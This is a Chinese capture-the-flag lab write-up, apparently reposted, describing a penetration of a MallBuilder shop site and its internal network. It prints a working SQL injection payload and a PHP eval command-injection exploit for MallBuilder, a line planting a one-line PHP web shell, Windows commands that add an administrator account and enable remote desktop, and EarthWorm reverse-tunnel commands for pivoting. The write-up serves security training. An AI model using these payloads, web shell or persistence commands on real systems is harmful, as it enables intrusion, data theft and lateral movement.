记一次综合靶场实战渗透

admin 2024年2月23日23:25:10评论13 views字数 3049阅读10分9秒阅读模式

前言

时间有点久,这里主要和大家分享一下思路。
该靶场是多层网络下的综合渗透,只开放了一个web端可以访问,其他均处于内网。

开始渗透

首先进入靶场开放的唯一一个开放的web端。

进入网站首页,发现是Mallbuilder,并且该版本有注入漏洞,可以直接获取管理员密码。

payload:

/cate_show_ajax.php?oper=ajax&call=get_cate POST catid=12313213131313113) and EXP(~(SELECT*FROM(SElect user FROM mallbuilder_admin)a limit 0,1 ))#

记一次综合靶场实战渗透

记一次综合靶场实战渗透

md5解密后得知admin 密码为:mall123!@#

记一次综合靶场实战渗透

可以通过sql注入获取第一个flag
payload:

/cate_show_ajax.php?oper=ajax&call=get_cate

post提交:
catid=12313213131313113) and EXP(~(SELECT*FROM(SElect flag FROM flag)a))#

记一次综合靶场实战渗透

得到第一个flag

登录管理账号admin 密码为 mall123!@# ,进入后台

查看源代码,发现第二个flag

记一次综合靶场实战渗透

网上没有公开的后台 getshell 的漏洞,需要下载一份源码进行简单的审计
源码地址:https://github.com/source-trace/mallbuilder
在 adminmodule_translations.php 存在命令执行

<?php
include_once("../includes/global.php");
$script_tmp = explode('/', $_SERVER['SCRIPT_NAME']);
$sctiptName = array_pop($script_tmp);
include_once("auth.php");

if(empty($_POST))
{
$refer_lang = $_GET['code'] =='en'?'cn':'en'; //基本参照语言
$l = $rl = array();echo "start";
@include_once($config['webroot'].'/module/'.$_GET['mod'].'/lang/'.$_GET['code'].'.php');

@eval('$l =$_LANG_MOD_'.strtoupper($_GET['mod']).';');
@include_once($config['webroot'].'/module/'.$_GET['mod'].'/lang/'.$refer_lang.'.php');
@eval('$rl =$_LANG_MOD_'.strtoupper($_GET['mod']).';');

$diff_lang = @array_diff_key($rl,$l);
$l += $diff_lang;
if($l=='')
die($lang['translat_data_emp']);
}else{
if($config['enable_tranl']==0)
{
die($lang['tranl_fordid']);
}
include_once("../includes/lang_class.php");
$tr_lang = new lang();
foreach($tr_lang->module_files() as $key=>$mod)
{
if(isset($_POST[strtolower($mod)]))
{
$tr_lang->save_module_files( $_POST[strtolower($mod)],$key,$_GET['code'] );
echo "<script>parent.window.succ_trans_tip('$key');</script>";
break;
}
}
die();
}
?>

记一次综合靶场实战渗透

mod 参数被带入 eval 执行,但是中间经过了 strtoupper 函数,这个在后期写马的时候需要注意

/admin/module_translations.php?mod=;system('whoami')

记一次综合靶场实战渗透

/admin/module_translations.php?mod=;system('dir')

发现flag.php

记一次综合靶场实战渗透

直接 type 读取

payload:

/admin/module_translations.php?mod=;system('type flag.php')

得到第三个flag

记一次综合靶场实战渗透

由于有cookie不能直接连接,所以先写一个马出来,需要注意strtoupper函数
经过测试,发现上传一句话木马只能用数字命名,如下例的1.php

/admin/module_translations.php?mod=;file_put_contents('1.php','<?php @eval($_POST[1]);?>')

使用菜刀连接(2333当时还是用的菜刀)

在C盘根目录下发现flag.txt,但是没有权限读取

记一次综合靶场实战渗透

打开Cknife的模拟终端,执行命令

net user simple 111Qqq... /add 添加一个叫做 simple的用户
net localgroup administrators simple /add 将 simple 添加到管理员组中
reg add "hklmsystemcurrentcontrolsetcontrolterminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0 开启远程桌面
netstat -an 查看开放端口

记一次综合靶场实战渗透

发现3389端口开放成功,使用windows下自带的工具mstsc.exe进行远程桌面连接

使用创建的simple账户登录进入后找到在C盘根目录下的flag.txt 修改文件权限,即可读到第四个flag

记一次综合靶场实战渗透

在管理员桌面发现第五个flag

记一次综合靶场实战渗透

进入内网

除了一个开发web端可以直接访问,其他都是内网环境,需要做端口转发,这里用EarthWorm配合proxifier进行端口转发和全局代理设置。目的是可以通过本机访问内网环境。

EarthWorm官网包含使用教程:https://rootkiter.com/EarthWorm/

在端口转发之前首先在本地开启接收转发,使用Earthworm
命令: ew_for_Win.exe -s rcsocks -l 1080 -e 8888
显示start listen port here即可

记一次综合靶场实战渗透

使用菜刀将端口转发工具:Earthworm 上传到网站目录下,进入模拟终端,使用工具进行端口转发。
在模拟终端执行命令:ew_for_Win.exe -s rssocks -d 10.10.80.27 -e 8888

记一次综合靶场实战渗透

记一次综合靶场实战渗透

使用proxifier配置服务器代理,配置代理规则即可实现本机访问内网ip

后记

EarthWarm官网已停止更新并且停止下载,这里给大家分享:EarthWarm

另外内网穿透推荐使用nps,nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。支持tcp、udp、socks5、http等几乎所有流量转发,可用来访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析、内网socks5代理等等……,并带有功能强大的web管理端。
地址:https://github.com/ehang-io/nps

来源:https://xz.aliyun.com/  感谢【遗忘城

原文始发于微信公众号(衡阳信安):记一次综合靶场实战渗透

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月23日23:25:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次综合靶场实战渗透http://cn-sec.com/archives/2113731.html

发表评论

匿名网友 填写信息